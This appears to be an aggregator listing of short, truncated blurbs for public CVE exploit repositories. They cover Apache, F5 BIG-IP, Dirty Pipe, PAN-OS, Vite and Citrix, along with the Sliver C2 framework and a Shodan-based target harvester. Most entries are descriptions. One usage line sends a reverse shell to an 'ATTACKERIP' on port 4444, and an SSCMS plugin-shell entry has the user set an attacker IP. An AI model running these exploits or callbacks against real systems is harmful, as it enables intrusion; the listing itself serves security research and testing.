Apachuk

Apachuk - Acquisitore CVE-2021-41773 con Shodan Acquisitore per Directory traversal di Apache con Shodan. Codice riscritto da : https://github.com/mohwahyudi/cve-2021-41773 Come Usare pip3 install requirements.txt python3 main.py -a Shodan Api Key -k Keyword for shodan Chiave API Shodan ? Accedi ...

Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 PoC per F5 BIG-IP - script bash Exploit in una riga Versioni vulnerabili : Versioni BIG-IP 16.1.0 - 16.1.2 Patch rilasciata Versioni BIG-IP 15.1.0 - 15.1.5 Patch rilasciata Versioni BIG-IP 14.1.0 - 14.1.4 Patch rilasciata Versioni BIG-IP 13.1.0 - 13.1.4 Patch rilasciata...

CVE-2022-0847

CVE-2022-0847 la mia POC personale e l'exploit di CVE-2022-0847 dirty pipe Utilizzo POC: scrivere file arbitrariamente Solo una semplice POC di questa CVE, compila il file poc.c come segue: root@kitploit: $ gcc poc.c -o poc -static Dovresti eseguirlo come segue: root@kitploit: ./poc targetfile...

eps-CVE-2017-0261

eps-CVE-2017-0261- Analisi della vulnerabilità eps CVE-2017-0261 Processo di analisi idb ida6.1 Documenti intermedi Caricamento del programma eps Codice PoC utilizzato E i file originali della vulnerabilità...

sliver

Sliver Sliver è un framework open source multipiattaforma di emulazione avversaria/red team, che può essere utilizzato da organizzazioni di ogni dimensione per eseguire test di sicurezza. Gli implant di Sliver supportano C2 su Mutual TLS mTLS, WireGuard, HTTPS e DNS e sono compilati dinamicamente...

MS16-051-poc

CVE-2016-0189 Exploit Proof-of-Concept per CVE-2016-0189 corruzione della memoria VBScript in IE11 Testato su Windows 10 IE 11. Analisi https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 Per eseguire 1. Scarica support/.dll o compila .cpp da solo e exploit/.html in una...

CVE-2024-34351

CVE-2024-34351 Ambiente di test per CVE-2024-34351: ho usato l'ultima versione vulnerabile di Next.js, che è la 14.1.0. Configura l'ambiente con il seguente comando: root@kitploit: npm install npm run dev...

wardriving

Wardriving Hier findest du alle Daten zum Wardriving-Workshop von Ekoparty 2017. Faraday-Plugins Die Dateien, die mit import beginnen, sind alle Module, die mit dem Faraday-Plugin verwendet werden. Um sie auszuführen, lade sie herunter und kopiere sie in dein faradayinstallation/bin/. Weitere...

CVE-2023-7028-Docker

CVE-2023-7028 con Docker 🎯 Vuoi fare pratica con la nuova CVE di Gitlab? Segui le istruzioni Costruisci il laboratorio 1. Installa Docker: https://docs.docker.com/get-docker/ 2. Clona il progetto: git clone https://github.com/Trackflaw/CVE-2023-7028-Docker.git. 3. Vai nella cartella del progetto:...

CVE-2023-27703

CVE-2023-27703 CVE-2023-27703 Una vulnerabilità di leak dell'interfaccia di debug degli elementi nella versione Android di pikpak V1.29.2 fix at pikpak 1.30.1 Descrizione suggerita La versione Android di pikpak v1.29.2 è risultata contenere una fuga di informazioni tramite l'interfaccia di debug...

CVE-2025-30208-Series

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. Panoramica delle vulnerabilità CVE-2025-30208, CVE-2025-31125 e CVE-2025-31486 sono vulnerabilità di lettura arbitraria dei file nel server di sviluppo Vite. Queste vulnerabilità consentono a un attaccante di aggirare il controllo degli accessi...

CVE-2024-0012_CVE-2024-9474_PoC

🚀 CVE-2024-0012 & CVE-2024-9474 Palo Alto PAN-OS Exploit 🔐 🛡️ Beschreibung Dieses Proof-of-Concept PoC-Skript zielt auf Schwachstellen in Palo Alto PAN-OS ab, speziell CVE-2024-0012 und CVE-2024-9474 , indem es den Ausnutzungsprozess automatisiert, einschließlich Authentifizierungsumgehung,...

heartpatch.us

heartpatch.us In costruzione Correzione delle vulnerabilità Heartbleed OpenSSL sui server in tutto il World Wide Web. Ispirazione Heartbleed è un bug di sicurezza nella libreria crittografica OpenSSL, un'implementazione ampiamente utilizzata del protocollo Transport Layer Security TLS. È stato...

CVE-2025-22783

CVE-2025-22783 1️⃣ Tipo di componente Plugin WordPress 2️⃣ Dettagli del componente Nome del componente SEO Plugin di Squirrly SEO Versione vulnerabile = 12.4.01 Slug del componente squirrly-seo Link del componente https://wordpress.org/plugins/squirrly-seo/ 3️⃣ OWASP 2017: TOP 10 Classe di...

CVE-2025-69212-for-myself

python3 CVE-2025-69212PoC.py -u URL -l admin -p PASSWORD -s ATTACKERIP -P 4444...

CVE-2020-5902

CVE-2020-5902 BIG-IP CVE-2020-5902 Exploit POC e scansione automatica della vulnerabilità semplice programma per l'exploit di big-ip e la scansione automatica della vulnerabilità installazione gem install httparty gem install colorize gem install timeout ruby big-ip.rb list.txt output.txt...

CVE-2019-19781

CVE-2019-19781 Semplice POC per testare se il tuo Citrix ADC Netscaler è vulnerabile a CVE-2019-19781 Utilizzo : python Questo è proxyato di default sulla porta predefinita di tor -- 127.0.0.1:9050 Avrai bisogno di PySocks, requests e urllib3 Advisory di sicurezza...

CVE-2024-3273

CVE-2024-3273 Prova di Concetto PoC Questo repository contiene una Prova di Concetto PoC per CVE-2024-3273, una vulnerabilità di sicurezza scoperta nei dispositivi D-Link NAS. La vulnerabilità consente agli attaccanti di eseguire comandi arbitrari sui dispositivi vulnerabili. Descrizione...

CVE-2024-22939

target:https://github.com/sunkaifei/FlyCms version: v1.0 È stato scoperto che FlyCms v1.0 contiene una Cross-Site Request Forgery CSRF tramite il componente /system/article/categoryedit Poc root@kitploit: history.pushState'', '', '/' Successo:...

SSCMS-PluginShell

Installare VisualStudio 2. Importare il progetto 3. Modificare il valore IPAddress.Parse nel file Startup.cs root@kitploit: using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using...